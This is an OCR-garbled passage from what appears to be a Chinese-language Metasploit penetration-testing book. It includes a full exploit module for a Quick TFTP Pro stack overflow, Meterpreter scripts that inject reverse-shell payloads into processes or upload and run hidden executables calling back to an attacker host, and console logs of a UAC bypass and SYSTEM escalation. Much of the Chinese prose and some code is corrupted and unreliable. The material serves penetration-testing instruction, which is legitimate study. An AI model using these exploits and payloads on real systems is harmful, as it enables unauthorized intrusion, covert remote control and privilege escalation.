'Description’ => %q{
This module exploits a stack overflow in Quick TFTP Pro 2.1.
b
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"Author’
‘Version'
'References’

[

I,
'‘DefaultOptions’

{
}s

"Payload’

{

}s
'‘Platform’

'Targets'

[

end

=> 'Your Name',
=> '$Revision: 7724 %',
=>

['CVE', '2008-1610'],
['OSVDB', '43784'],
['URL', 'http://www.exploit-db.com/exploits/5315'],

=>
"EXITFUNC' =» 'thread',
=>

'Space’ => 412,
'BadChars' => "\x00\x20\x0a\xo0d",
‘StackAdjustment’ => -3500,

=> 'win’,
=)

[ 'Windows XP SP2', { 'Ret’' => 0x74d31458 } ],
# p/p/T oledlg

b ]
"Privileged’ => true,
'DefaultTarget’” => 0,
'DisclosureDate' => 'Mar 3 2008'))

register options([Opt::RPORT(69)], self.class)

def exploit

end

end

connect udp
print_status("Trying target #{target.name}...")

evil = rand text_alpha upper(1019)
evil << generate_seh payload(target.ret)
evil << make nops(16)

sploit = "\x00\x02"
sploit << "pwnd”
sploit << "\x00"
sploit << evil
sploit << "\x00"

udp sock.put(sploit)

disconnect udp
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15.4 I©h&

AT ) H BT BR T 8 ek e 2 AN R R AL 12 E LB A 2] Metasploit HE2EH, RA[
LU & Fh & FEA R 2R R 72 B AU RS 4E AL E) Metasploit BT, (HXTHFE L AREFEEMEAR,
ETFEMRE CEL LR EBE.

EATEI G, VR3] T W fiE F -— e R f 0 Gt 2 34T — R B B et HH Bty 9F
B HE T Metasploit 4. BAVEHZH T 4 SEH F S BHEREERN, ©hesed
5 AL ERHLE IR IE AR RS AT . AMEH T POP-POP-RETN Fi AR EUG i FE AL AT ) RE
71, FERME]T Metasploit F, HUf§ T —-> Meterpreter Shell.

{£55 16 Fh, KITHEAR] Meterpreter A E S N2 BEEEERG. JFMNCLL s
T—PREHHEANT Meterpreter, {F ] UPATIR BF P RIBGEERAR. BRITBCRREIED
] Meterpreter Jl 4%, 3f2£>] Metasploit #2228 £ WI4H 2188489, CLA A ¥ e B K .
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Meterpreter Bl 2 4R #E

Metasploit 58 A [FI AR BEEESE 1L RY E A0 Meterpreter FIThEESRFME. EAFE, 1RHEF
F| Meterpreter A 4R FE AR, —SH ARG RERA, LLEWATE Meterpreter HiZ 171X 4
MAGS . RAVE N APFY Meterpreter BIARFERI ik B - HEEU AT REA, MWEH
feg it BARE SR, ERKARIFFES, RAAERANHEAIEMESERY; F MK
5SEH N G BB WA, 2R FRIRATE 13 FiTRK-—8, TURMASEXTZEPEANAT .
(4% 7)) B Carlos Perez [darkoperator] Xt 4% &5 ] 518k )

16.1 Meterpreter Bl A 42 Bl

FT A /] Meterpreter B A ER 7 AENESE MR H 5K F 1 scripts/meterpreter/ LA K, AR B 5Br
BHRIEA, 0] PATE Meterpreter shell 94\ TAB 8, Z /5% run, FHHIA TAB .
L BRATH M — /R L) Meterpreter BIA, REMHRERIMNBCHEE. BITEBEZS T
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multi_meter_inject JAA, %HARETH T Meterpreter shells EAR S AR . 5%, RITRAE
T FiZ% Meterpreter BiA{3 5 7 W26 fr 1T TUAAC BG4k L.

meterpreter > run multi_meter_inject -h

Meterpreter script for injecting a reverse tcp Meterpreter payload into memory space of
multiple PID's. If none is provided, notepad.exe will be spawned and the meterpreter
payload injected into it.

OPTIONS:
-h Help menu.
-m O Start Exploit multi/handler for return connection

-mp @®<opt> Provide Multiple PID for connections separated by comma one per IP.

-mr @<opt> Provide Multiple IP Addresses for Connections separated by comma.

-p ®<opt> The port on the remote host where Metasploit is listening (default: 4444)

-pt  <opt> Specify Reverse Connection Meterpreter Payload. Default windows/
meterpreter/reverse tcp

meterpreter »

FNETR-m F7HAO, 1ZET BB —NE RIS, RACER I ER: ., R A#
HE—®mEa (Fn 443 5 00) , MAFTEREXMED, #TK, HTEHSHENPID SO,
RATHEEN shell A FHFES.

1M R ik Meterpreter TE N FH124T. ¥EFFEANHE LG, TANTEH Meterpreter 1 A F izt
RN fr 2 (A R 4R AT, KR ERMNNVBIEERER, ASXEREITEMREERNE, TR
KHEFF LAl IR shell #Hl< i .

BTR, BATHEEREBEGVA Y Meterpreter 215 ERER 1P ORI O,

fE Meterpreter H 4 ps fir 4 r] 3 2 i f FAAERIHERR Y K -

meterpreter > ps

Process list

EETs-mOEEEETETE

PID Name Arch Session User Path
0 [System Process]
4 System

256  smss.exe

364 csrss.exe

412 wininit.exe

424 csrss.exe

472 winlogon.exe

516 services.exe

524 lsass.exe

532 lsm.exe

2808 iexplorer.exe © x86
meterpreter >
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RATH Fr i) Meterpreter shell A F| iexplorer.exe@itFEH, XFEH=ESD N EEENIF

HIZ1T 2 H K Meterpreter #Hl &, MASEEMEIEREL L.
iEBANVEH 2 BT B — L e TUZEAT multi_meter_inject fr%, HEABEREIERN TIE:

meterpreter > run multi_meter_inject -mp 2808 -mr 172.16.32.129 -p 443
[*] Creating a reverse meterpreter stager: LHOST=172.16.32.129 LPORT=443
[*] Injecting meterpreter into process ID 2808
[*] Allocated memory at address 0x03180000, for 290 byte stager
[*] Writing the stager into memory...
[*] Sending stage (749056 bytes) to 172.16.32.170
[+#] Successfully injected Meterpreter in to process: 2808
® [*] Meterpreter session 3 opened (172.16.32.129:443 -> 172.16.32.170:1098) at
Tue Nov 30 22:37:29 -0500 2010
meterpreter >

WETH T H, RATHRLRIBITT, —DFH Meterpreter iEHIT, MOF 7.

DLEERAN] T 2 T A RESS (O Le T 4E, B T3l 07 R THER, HeRIA 5L A
B4y, OB A RHBRA T GF MDA TURRY, T T ARG

AR HERMBRNE S, URRITAEE %4 Meterpreter (17 4T .

# $Id: multi meter_inject.rb 10901 2010-11-04 18:42:36Z darkoperator %
# $Revision: 10901 %
# Author: Carloes Perez at carlos_perez[at]darkoperator.com

SRERHH RS Variable Declarations #ift####nsisiiy

@client = client

lhost = Rex::Socket.source address("1.2.3.4")
lport = 4444
lhost = "127.0.0.1"

©® pid = pil

multi ip = nil
multi pid = []
payload_type = "windows/meterpreter/reverse tcp"
start handler = nil
® @exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-p" => [ true, "The port on the remote host where Metasploit is
listening (default: 4444)"],
"-m" => [ false, "Start Exploit multi/handler for return conmection"],
"-pt" =>» [ true, "Specify Reverse Connection Meterpreter Payload.
Default windows/meterpreter/reverse tcp"],
"-mr” => [ true, "Provide Multiple IP Addresses for Connections
separated by comma."],
"-mp" => [ true, "“Provide Multiple PID for connections separated by
comma one per IP."]

)

meter_type = client.platform
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AR FIEE 7, EEE AR SRR T e Blll: pid=nil@GIE 1 —
MPID AR, HEXPMEELKAMIL. @exec opts = Rex::Parser::Arguments.new®@%i | | K
S48 F B ap 2 ATIE TR RO B R 7 Bh4E B .

T4 T BATHE AR A PREL

HefHHARHRARRE#HE Function Declarations #HER#HERHHARHHHIHH

# Usage Message Function

e m e e e e
@ def usage

print_line "Meterpreter Script for injecting a reverse tcp Meterpreter Payload”
print_line "in to memory of multiple PID's, if none is provided a notepad process.”
print line "will be created and a Meterpreter Payload will be injected in to each.”
print line(@exec opts.usage)
raise Rex::Script::Completed

end

# Wrong Meterpreter Version Message Function

def wrong_meter_version(meter = meter_type)
print error("#{meter} version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed

end

# Function for injecting payload in to a given PID

® def inject(target pid, payload to_inject)
print status("Injecting meterpreter into process ID #{target pid}")
begin
host process = @client.sys.process.open(target pid.to i, PROCESS ALL ACCESS
raw = payload to inject.generate
®mem = host_process.memory.allocate(raw.length + (raw.length % 1024))

print status("Allocated memory at address #{"Ox¥.8x" % mem}, for
#{raw.length} byte stager")
print_status("Writing the stager into memory...")
©®host_process.memory.write(mem, raw)
®host _process.thread.create(mem, 0)
print_good("Successfully injected Meterpreter in to process: #{target pid}")
rescue::Exception => e
print_error("Failed to Inject Payload to #{target pid}!")
print_error(e)
end
end

TEARPF|H, usage REOK7E-h M ITEIRE JE#EA . /77 \ Meterpreter API H* EL 31
Fi—% Meterpreter ER#, ZIIEEMAL T — 245 2 HEFRISEI, BlIAn{ER] def inject BREEA 2| —
MRS 20,

HPMEFEZERITEE host_process.memory.allocate REIEAHO, ZRE ATEMA
Meterpreter B iy 8 fif 73 BC A /722 (8] . 2 J5 8 A host_process.memory.write B8 ¥ @%f A £ 5 A\ T ik
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FEREFE == a] v, [ F host process.thread.create S| -—— M IS FEO .

F—2, BATE X% G060 VT 28 Sk Ab FR IR AL £ 10 5 i) B e #8867, 76 F i A% H P
BRE N (BRAMER Meterpreter, FTLABRIEHATHRI R IEE, £ AWML 242 Meterpreter
e ar N

# Function for creation of connection handler

def create_multi_handler(payload _to_inject)
mul = @client.framework.exploits.create("multi/handler™)
mul.share datastore(payload to inject.datastore)
mul.datastore[ "WORKSPACE'] = @client.workspace
mul.datastore[ 'PAYLOAD'] = payload to inject
mul.datastore[ "EXITFUNC'] = 'process'
mul.datastore| "ExitOnSession’] = true
print status("Running payload handler")
mul.exploit simple(
'‘Payload’ => mul.datastore['PAYLOAD'],
‘RunAsJob’ => true

end

£ R &5 TV AR pay = client.framework.payloads.create(payload) i ¥ % il 11 7F
Metasploit HEZE P EIHE — PN HEEE AT, EARITMIEX R 4 Meterpreter B4 #F, Metasploit
W NBATEHBNEIE

# Function for Creating the Payload

def create payload(payload type,lhost,lport)
print_status("Creating a reverse meterpreter stager: LHOST=#{lhost} LPORT=#{lport}")
payload = payload type
pay = client.framework.payloads.create(payload)
pay.datastore['LHOST'] = lhost
pay.datastore[ 'LPORT'] = lport
return pay
end

FEMBOANER M HAREFEE, MRRIMRARECHE, REca300138H 1
HEARURE.

# Function that starts the notepad.exe process

def start proc()
print_good("Starting Notepad.exe to house Meterpreter Session.™)
proc = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })
print_good("Process created with pid #{proc.pid}")
return proc.pid
end
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I B R VA R B RS EWATE 4. HE P Hidden (B350 EMBERN L,
XERERMETEEN (BEEND HEBESRSEAPRR, THCEARRERAZE
AHE O, ERETRAS#E HiRH P B ER.

RERH LRSS MEE, WERFE IFERFENPE RS, 858,

wipua A HH AR Maln HHERRRHAHHERARIHHE
@exec_opts.parse(args) { |opt, idx, val|

case opt
when "-h"

usage
when "-p"

lport = val.to i
when "-m"

start _handler = true
when "-pt"

payload_type = val
when "-mr"

multi ip = val.split(",")
when "-mp"

multi_pid = val.split(",")
end

}

# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_ type !~ /win32|win64/i
# Create a Multi Handler is Desired

create multi handler(payload_type) if start_handler

BiE, BT AT, HERMNAEEREMAR. RN#HIARITIES Meterpreter # 1E
 EANFIIEE R PID .

# Check for a PID or program name

if multi_ip
if multi pid
if multi ip.length == multi pid.length

pid index = ©

multi_ip.each do |i|
payload = create payload(payload type,i,lport)
inject(multi pid[pid_index],payload)
select(nil, nil, nil, 5)
pid index = pid_index + 1

end
else
multi ip.each do |i|
payload = create payload(payload type,i,lport)
inject(start_proc,payload)
select(nil, nil, nil, 2)
end
end

end
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else
print_error("You must provide at least one IP!")
end

16.2 Meterpreter API

EBEN AL RS, FATRELZERE P IEFRFERTE R A, k5t EERTE.
MR AREBNRWEM S, HSEMRMHEXZFAMIZAH Ruby EEREEG HH CHEER W
A

YERTFRG, 454 4H7E Ruby shell (HBFRPE irb) W HIRBEPHIEAITHI My 4. 7E Meterpreter
ZHlES, A irb ik EFRRMA L

meterpreter > irb
[*] Starting IRB shell
[*] The 'client® variable holds the meterpreter client

>2

16.2.1 FTEN3
FATLLE I print_line()FF 46, 126 BUH KT ENS tH H A B R In— /N85 345

>> print_line("you have been pwnd!")
you have been pwnd!
=> nil

B FRIFH print_status(), XA ERECAREMAEES P EBE AT LA, ERTARARITEH—
ITHABITRERERRHE, FLUFMERTER.

>> print_status("you have been pwnd!")
[*] you have been pwnd!
=>» nil

F—A R EAA & print_good(), HIRIRHE—IRINMEPITHIE R, HB R IREERBIhR
R, BA[HIFE R BT .

>> print_good("you have been pwnd")
[+] you have been pwnd
=» nil
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#% TR J2 print_errorQPR AL, %R BRI AL 1R B B 1R &30 1E LT AT, BA-)
ERRAR -

>> print_error("you have been pwnd!")
[-] you have been pwnd!
=> nil

16.2.2 EZX APIEHB

Meterpreter $&{ T 250 API M, W LITEVR B D MA P HIXE API, RIROALHSE
DIREERE EHILhEE. 7T AZEZ /N7 BN X 2% AP IS XA, MASREHTIIRE
M RIZFH4WS & Meterpreter #28| & H P 80, X ERRSWT DLHE R JE 4 H 58S A RO 3ERE .
B R X % R, W LU Back-Track i il Metasploit ¥ i3 4R H & F 9
/lib/rex/post/meterpreter/ui/console/command _dispatcher/f H 3. W RARF A H XA 30 iy
AFANZE, oL 43I 2 Fdr & nTHEARAE A .

root@t:~# 1s -F /opt/framework3/ms¥3/1lib/rex/post/meterpreter/ui/console/
command_dispatcher/

core.rb espia.rb incognito.rb networkpug.rb priv/ priv.rb sniffer.rb
stdapi/ stdapi.rb

FEIX EE A ) N B R & B Meterpreter #%.0 . F P B IHIAS B $9B03EME, LR AR B4
%o XA LR T ## 2] Meterpreter f2 WA 7F — /N R4 AT IEER

16.2.3 Meterpreter Mixins

Meterpreter mixins (VR AZS) J& Meterpreter 48 R — RV R B ThRES | H . XL
B5| AL irb ABEPRAGMEAR, HAEFEAIE Meterpreter BRI . TR LB g4
FRIREGIHREK:

cmd_exec(cmd): LLESAEEAR T XNBATHEHE TS, MG RUBITERE N
LB

eventlog_clear(evt=""): JHERIEEHFMH-HE, WMRAIEE NGRS MHEHE 8%,
BB — A OB H SR

eventlog_list(): MZFHEMFHFE, HEF—MEHMHELMAEA.

file_local_digestmd5(file2md5): i&[5]— Mg E A H CFH MDS BB M TR & .

file_local_digestshal(file2shal): R[5 — g€ A LA SHAL B FFFFE.

file_local_digestsha2(file2sha2): i&[A]l—N¥g @ A Hh S #) SHA256 Keig fIE 55,
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file local write(file2wrt, data2wrt): K543 & ) 7-1F e S A B|F8 E XHH .

is_admin?(): RBILIH S REEANERG. WEAFERERMEE, FARERME.

is_uac_enabled?(): HWiH K #ESl (UAC) BEH/CEELT)S.

registry_createkey(key): & —MNAEREMREME, WROEBIREI,

registry_deleteval(key,valname): # B& —-™ &5 5 073 A = 88 1 42 57, i SRR seThiR 7] 2.

registry_delkey(key): MR — M5 m MvEMREE, W EMERRINRE R

registry_enumkeys(key): FIASHH4T @M REER T8, B —0F TR,

registry_enumvals(key): 2% H 45 @ My REBEAOBE, REE&F8E 2 P54

registry getvaldata(key,valname): iR [F]%5 5 ¥ M 3 B (8 F H A8 ) 85088 .

registry_getvalinfo(key,valname): X [F]%5 5 i3 i 3¢ 58 (20 A HU (R 1) B4 28 /Y,

registry_setvaldata(key,valname,data,type): 7£ B t5 E AL MR P B 15w i+ M R 8 E K B
., WRgIhREIR.

service_change_startup(name,mode): (% ~MEERFWENBER, LR FERS 42
AR, BaRARE—MERT 3. FHRARHBEERNERTS, REBRKDEH
K

service_create(name, display_name, executable_on_host,startup=2): iZR¥H k@1
2T HOHMENRS . 28EH: FHHREKRSZ 2, FHERUNBEREHR, FRHPRL
RE H BBl 4T 302, BUERRRREIRR (2 h B3h)ash, 3 AF T3, 4 HEEH,
BN EHBIEBD.

service_delete(name): % PR ZUE o MH BRI A2 0 B0 85 R B BR AR 45 -

service_info(name): 3% Windows FIIREE R . FIHAERE RS LK. BaERXFRSE
Hashtn <. REFLHMEXNEGHENY, BHAEHES TERK. B, a4FHES.

service list(): I PFTH H 311 Windows RS, IRMIEEH RS ZHIE4A .

service_start(name): J5z)fk%, WRMRFEFNEE 0, MRS ELB3RAE 1, EZR
F 45 1R E] 2.

service_stop(name): <MIRS, WRARIIKARFSIERE 0, WARRS CLFEHTEEFILER
[ 1, WRRFAGREILERM 2.
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R YRABAEAR R IR AS DA B B Th e, VREETEE T M A K Meterpreter mixin BREL 5[ Hi.

16.3 4wE Meterpreter B &30 N

MRS Meterpreter BIAN, FeHlRAERCIEE —MHAH, H HEBRHABAZ

Metasploit FZH, FRATE T A#ELLT AN,
o HEHIEE . AMMEHEE, KEAEFHERREXRER, ERHMLINTHRESHESR

AR PR.

® {Ef tab BATHIE, HNEMEHTHE.

® XFEFHkE, AEMAXES (), [ do il end iEiEMHEA.

® LEUREE, FARESWHI TR, RERBHZNESANIM®.

® AEFH sleep BREL, 1 H"select(nil, nil, nil, <time>)".

® AEHH puts FHARFRHER S K%, {FH print,print_line. print_status. print_error-
1 print_good K%L .

® SEBEE-hEM, ZORIUREX HAZATRIZERNIIGE R, 3R B ey & 7%,

® WRIRAFIHATEEN EBRIERFZEFE Meterpreter ¥ GIE1T, B{RAMRAT R BELERT SCHE
P& EE4T, HEAFRRIERGENF 21T R

16.4 fI& H 2 & Meterpreter Bl 4

EFTARBERO LA BB RFR, & scripts/meterpreter/ L TR EH — N2 A4
execute upload.rb WA . BATHEHA I GERARBFE LT, FH/THE AT HX

MARI R E, R ESGZIA F 62 T30 .

# Meterpreter script for uploading and executing another meterpreter exe

info = "Simple script for uploading and executing an additional meterpreter payload"
# Options

opts = Rex::Parser::Arguments.new(
©"-h" => [ false, "This help menu. Spawn a meterpreter shell by uploading and

executing.”],
=» [ true, "The IP of a remote Metasploit listening for the connect back"],

®"-r"
©"-p" => [ true, "The port on the remote host where Metasploit is listening
(default: 4444)"]
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ENMHEELEMERE LERERERE, HAXPMRERE EHEZFEZGIHARKMEB Carlos
Perez BT SHIMATIfEIEH KL, MWAFHBEBOMEA-h FIt . « F-p ARG BT HH
Meterpreter A] TR FFATRACE KizfE IPOMR NS5O, EE: RIEE T TRUE &M, XEK
B i R TR A T Y -

TR, BAIEXEREFF{EMRNEE. BRI AA Rex::Textrand_text_alpha A% &
—AME— AT RAT O 44 . XU IER AR, BV RATA B ER S £ FRIR— AT 34T 31
%, MRXFMTRESEATERMGE T MEHBARMNFE. RIMNEEEKESETMAZSE,
Rl EZSHE, ETE—2EFE, thg-hEm.

filename= Rex::Text.rand text _alpha((rand(8)+6)) + ".exe"

rhost = Rex::Socket.source address{"1.2.3.4")
rport = 4444
lhost = "127.0.0.1"
pay = nil
#
# Option parsing
#
opts.parse(args) do |opt, idx, val|
case opt
when "-h"

print line(info)
print_line(opts.usage)
raise Rex::5cript::Completed

when "-r”
rhost = valO
when "-p"
rport = val.to i@

end

end

FERBBRMNHGERT B INSH, KR ARE, stZRHAFITEER. rhost=val O
wXAR HRMmA-r i, WA P EARBUER T rhost B ” . rport = val.to_i@ N f&] 52 #4545 &
RMERIT A — BT ER T mport i —MrDBEFTEERRTE) .
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e TR TR, AR E O BB B B 2B .

® payload = "windows/meterpreter/reverse_tcp”

® pay = client.framework.payloads.create(payload)
pay.datastore[ 'LHOST'] = rhost
pay.datastore[ "LPORT'] = rport
mul = client.framework.exploits.create("multi/handler")
mul.share_datastore(pay.datastore)

mul.datastore| "WORKSPACE' ] = client.workspace
mul.datastore[ 'PAYLOAD'] = payload

mul.datastore[ "EXITFUNC'] = 'process’
mul.datastore[ "ExitOnSession'] = true
mul.exploit simple(

'Payload’ => mul.datastore['PAYLOAD'],
'RunAslob' => true

)

FAI1%EFF T windows/meterpreter/reverse tcp ERMEHHEH MO, it client.framework.
payloads.create PA¥(E MBI B MO, HIEE T LERSEXRKCE IR #E. LHOST
1 LPORT & 10 2 T A1 75 2 F SR Ve B B0l B Ao FF 61 3 AL Wy 88 1 B 5 0 G BT

ok, BATGVE —al#4T 304 (Win32 PE #3X ] Meterpreter), A&3) HFrFEHL AT

@ if client.platform =~ /win32|win64/

®tempdir = client.fs.file.expand_path("XTEMP%")
print_status("Uploading meterpreter to temp directory...”)
Traw = pay.generate

@exe = ::Msf::Util::EXE.to win32pe(client.framework, raw)
tempexe = tempdir + "\\" + filename
tempexe.gsub! ("\\\\T, "\AT)
fd = client.fs.file.new(tempexe, "wb")
fd.write(exe)
fd.close
print_status(“Executing the payload on the system...")
execute_payload = "#{tempdir}\\#{filename}"

pid = session.sys.process.execute(execute_payload, nil, {'Hidden' => true})

end

HEMAES LY E XHERZ FEHSERA, R BINE£LE LT tempdir # filename. 7F
XAMEAG, BITHLCEET —4i8q), AXENAFRRS G REELEET Windows RS O:;
MERNREKE, BIMWBEEEAEASIET. RERNT R H 5 P % TEMPY%{E & Filn i H
RO, HIEXGIER—NF I, RBATRIRIRE A :Msf::Util::EXE.to_win32pe RO €% 1] EXE 3
BB . IR session.sys.process.execute H1TEREN, XFE B PP REARUEM S BHE,

LRk, BRATHIBLERA I FRR:

# Meterpreter script for uploading and executing another meterpreter exe

info = "Simple script for uploading and executing an additional meterpreter payload”

#
# Options
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#

opts = Rex::Parser::Arguments. new(
"_h" => [ false, "This help menu. Spawn a meterpreter shell by uploading and

executing.”],
"-r" => [ true, "The IP of a remote Metasploit listening for the connect back”],

"-p" => [ true, "The port on the remote host where Metasploit 1s listening
(default: 4444)"]

)

#
#t Default parameters
#
filename = Rex::Text.rand text alpha((rand(8)+6)) + ".exe"
rhost = Rex::Socket.source address("1.2.3.4")
rport = 4444
lhost = "127.0.0.1"
pay = nil
#
# Option parsing
1t
opts.parse(args) do |opt, idx, val|
case opt
when "-h"

print line(info)
print line(opts.usage)
raise Rex::Script::Completed

when "-1"

rhost = val
men I|I-p"

rport = val.to i
end

end

payload = "windows/meterpreter/reverse tcp”
pay = client.framework.payloads.create(payload)
pay.datastore[ 'LHOST'] = rhost
pay.datastore[ 'LPORT'] = rport
mul = client.framework.exploits.create("multi/handlexr")
mul.share datastore(pay.datastore)
mul.datastore[ '"WORKSPACE'] = client.workspace
mul.datastore[ 'PAYLOAD'] = payload
mul.datastore[ "EXITFUNC'] = 'process'’
mul.datastore[ 'ExitOnSession’'] = true
print status("Running payload handler")
mul.exploit_simple(
'Payload’ => mul.datastore['PAYLOAD'],
'RunAsJob’ => true
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if client.platform =~ /win32|win64/

tempdir = client.fs.file.expand_path("%TEMPX")
print_status("Uploading meterpreter to temp directory")
ITaw = pay.generate
exe = ::Msf::Util::EXE.to win32pe(client.framework, raw)
tempexe = tempdir + "\\" + filename
tempexe.gsub! ("\\\\", "\\")
fd = client.fs.file.new(tempexe, "wb")
fd.write(exe)
fd.close
print_status("Executing the payload on the system")
execute payload = "#{tempdir}\\#{filename}"
pid = session.sys.process.execute(execute payload, nil, {'Hidden' =»> true})

end

HLTE, WA T B8 K Meterpreter B A< S0, ikIRATTHF /3 Metasploit, # A F| Meterpreter
H, HET Iz

meterpreter > run execute upload -r 172.16.32.129 -p 443

[*] Running payload handler

[*] Uploading meterpreter to temp directory

[*] Executing the payload on the system

[*] Sending stage (749056 bytes) to 172.16.32.170

[*] Meterpreter session 2 opened (172.16.32.129:443 -> 172.16.32.170:1140) at
Tue Nov 30 23:24:19 -0500 2010

meterpreter >

I BOICE I T I Meterpreter B A, WINPAT T EH =4 T B H) Meterpreter
shell. X/RIEAFIHF /5 T Meterpreter B A< Ruby &5 s KHIRES

BN Zi e T — N EEA BRI Meterpreter JIAF2{L 4 Metasploit 44
e CFEE: BIEBH#E H A Metasploit v4.0 1 1E 5 AR G BB, #APEEAR—
ANAT BASE L Windows 7 UAC HLH ) 2488 . Windows Vista BA & 2 JG IR A5 | A T 2846l UNIX
Al Linux FH) sudo fy%, A TREMFHESE, —MEEAURE P HTERITRSMES N, FE
R385 AR P RSB0 . X RS - E O, ErAPTEREEHE LM ARGTA
REREATHH#R1E. UAC BB 2 Hir 2 IR 17 R g8 gt W fa sl i i g, H R a# s RIREE
— PR ER T

7F 2010 ££ 12 A, Dave Kennedy f1 Kevin Mitnick &A1 T — ¥ &L Windows H ik P~
£ (UAC) K Meterpreter #3R, ZAEIOR Bk it A B A vl {5 K& IE 53 A 0 &2
“UAC Z&” RSP, Mgt UAC 26 i AR R, —/ 3h&8HEE (DLL) #
# B, HE UAC LepyifR 22 EFizfT, XA DLL $inl LASRid UAC RizfTar <.
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H16#F Meterpreter A& RIZ

TEIXAEH B, ATV SR Iy 8 B XA o) LASRI F 7 ik P i) (UAC) K E BB BUER
o B5EAEH- BRRFERBE A2 NI 2 (multi/handler) Bk, XFEARFRIIEZZ A
Meterpreter shell. iffiE & EAH F, M IRAVZIT getsystem w2 FIRHE KM T, XA E A Windows
H P 6 (UAC) HLEIRE - BRATE FH % 4

resource (src/program_junk/meta_config)> exploit -j

[*] Exploit running as background job.

msf exploit(handler) »

[*¥] Started reverse handler on 0.0.0.0:443

[*] Starting the payload handler...

[*] Sending stage (749056 bytes) to 172.16.32.130

[*] Meterpreter session 1 opened (172.16.32.128:443 -> 172.16.32.130:2310) at
Thu June 09 08:02:45 -0500 2011

msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > getsystem

[-] priv_elevate getsystem: Operation failed: Access is denied.

meterpreter > sysinfo

Computer: DAVE-DEV-PC

0s : Windows 7 (Build 7600).

Arch : x64 (Current Process is WOW64)

Language: en_US

meterpreter »

ER: BNEEKRG —NREBAKS, KA KA EH (UAC) BHE TERITPAR.
RMNTEEGEITR K26, NTIRE\RENRIKS, IFAREARATHALE -PARE
Bl. BATMA CTRL-Z BbH HFRIFZSEKARFE. Z/a, BATEHBTEIRRIEIT/EZEN
drER, %t Windows H Pk ##] (UAC) BrirIhse.

msf exploit(handler) > use post/windows/escalate/bypassuac
msf post(bypassuac) > show options
Module options (post/windows/escalate/bypassuac):

Name Current Setting Required Description

LHOST no Listener IP address for the new session
LPORT 4444 no Listener port for the new session
SESSION yes The session to run this module on.

msf post(bypassuac) > set LHOST 172.16.32.128
LHOST =»> 172.16.32.128

msf post(bypassuac) > set SESSION 1

SESSION => 1

msf post(bypassuac) > exploit

*] Started reverse handler on 172.16.32.128:4444

[
[*] Starting the payload handler...
[*] Uploading the bypass UAC executable to the filesystem...
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[*] Meterpreter stager executable 73802 bytes long being uploaded..

[*] Uploaded the agent to the filesystem....

[*] Post module execution completed

msf post(bypassuac) >

[*] Sending stage (749056 bytes) to 172.16.32.130

[*] Meterpreter session 2 opened (172.16.32.128:4444 -> 172.16.32.130:1106) at Thu June 09
19:50:54 -0500 2011

[*] Session ID 2 (172.16.32.128:4444 -> 172.16.32.130:1106) processing InitialAutoRunScript
'migrate -f'

[*] Current server process: tYNpQMP.exe (3716)

[*] Spawning a notepad.exe host process...

[*] Migrating into process ID 3812

[*] New server process: notepad.exe (3812)

msf post(bypassuac) > sessions -i 2

[*] Starting interaction with 2...

meterpreter » getsystem
...got system (via technique 1).
meterpreter >

A AT LLEE Meterpreter 51 & AE A run KB ¥ use, IXFEA] LLE shERAIE AT T A5,
MATELAN]H CoRACE X LT .

FREBEANE ERE TR EERIERE T His XN 3T T UAC R HIRFEHEAUR,
XA AR M B T 5 BB B R T AC B H B AT R . X BRI R T RETR ] 1.
AT SRR TR HAT X AR HEE XN, REREEITER. HFHAERFEEBENGK
BEIRRY, R AT Hh B AR S B R 4l 75 .

root@bt:/opt/framework3/msf3# nano modules/post/windows/escalate/bypassuac.rb

16.5 /h&

BOIA R G E N RSN AT HE LS, BAXHS B EMEAARTSERE
. ffarEEASENE 1T, ZEiREEZVERE SRER.

it (A © 2 /ETE R Meterpreter A, TE®S —N1 DA kA A 4. 8
UL R ¥ R —DNEHRBEFEESR T A, HRAFH Metasploit HRBBA, WAENR
) BRI AS 3, 7T e i HeAt A BT S !
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A
R 8 B Wi it 7

— R

KB EW RN FRATRRA 2 — BT EIR A L, e @ N RE P Rt i T
— AR PR AR, R RBRAR “BIRTHE" WA R . AT, B
Bl — MR BEN RS EREFEZE TP EINEARAFE—E, RENEHT
{8 FH B 2 B SR A RE SR B e pl — BB AL R, PR 23 iX B o i) K 2 UL AR Al EL
BET.

TEFF AR B FEMRZ R, 55 T8RN 23—/ 4 4 Metasploitable ] Linux $EHLEEAHL
1%, (RATLLZE http://'www.thepiratebay.org/torrent/5573179/Metasploitable/f& B iX MR B KT
#) Metasploitable €& H HIBE & 0 2 X M A Metasploit 1) 32 4F F R 4L~ 7l AT BiZhiZ
BRI KBS, ESE M ERIEEREH Metasploitable, REE3E. A LR
Metasploitable ERIHLRE L% A 18R 5 BE K Window XP FEHLUBAE — Pl — AR /D
H M £&3A 5%, ik Windows XP #EHL/E A — AN EBL M A] H 07 i R RS0, 10 Metasploitable #EA/L MY
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e =AM N R

BT, A S HNA RS BRI A AN SRR, 5 R — A KA Ak A4 AR,
BT EME S EIEANEE, RNZLRFNTHFRATAA, RAETREE DK%
A A2,

171 WX E

MREMHTEHBRAE - PR, £ -REEMRYEES, TEMNHBHETES.
Toek Mg, BRI A Wl Y SR B IR, SRR B B R A B AR SO E SR A B BGE S
e 5—ELFFKBFEN AR R, BNZHFASRZEHN - MEENHRAN—HRE, HiE
ST AT 0 B R ANLEE AR AT — IR B 2

EIX KB E A, AT H R FEFRFEE 172.16.32.162 LR Metasploitable
B (FHAP 204 R msfadmin 7] 35 Metasploitable, FXF3H IP #HATECE ).
Metasploitable 22— & RiEH T M, AN KEEPZ/E, BAEREALRKMEBEN. ik
fi18) Windows XP ¥EHIACETE 172.16.32.131 IP Hhht b B 5 HKM , (0 R 7ERS KERRY fa (FF
Jii T Windows Firewall), R T 80 3.

17.2 1RIREE

F—PMEPREMBELEZEUNALEPREENSHNLZ —, FAMRIREIEZRE TX
B{EE, RS AEZBNBEIIRI T EENE. BRIMEZIMATNFRHEFLE THBEEEERIH
PRERGE, FHHE A R B X RGER T EIAR .

BTG T AT RAIA) Windows XP $EHLHAT — 4K nmap H#, 7 LUK B 80 ¥ 1 2
FFRH) . X BAER T nmap AIEGH#K TCP 4, X EHBORIE H BB M AR E K AT
TH#ESHABNRE . KEBARRIAURE S AR HARGEE T LAl D948, {8H T i O
AL ER N, BT ELE MR SR HAE 0 & a9 IR i Mg 5 1 2 WS, FRAEIR
GRESEE S g

root@bt:/# nmap -sT -P0 172.16.32.131
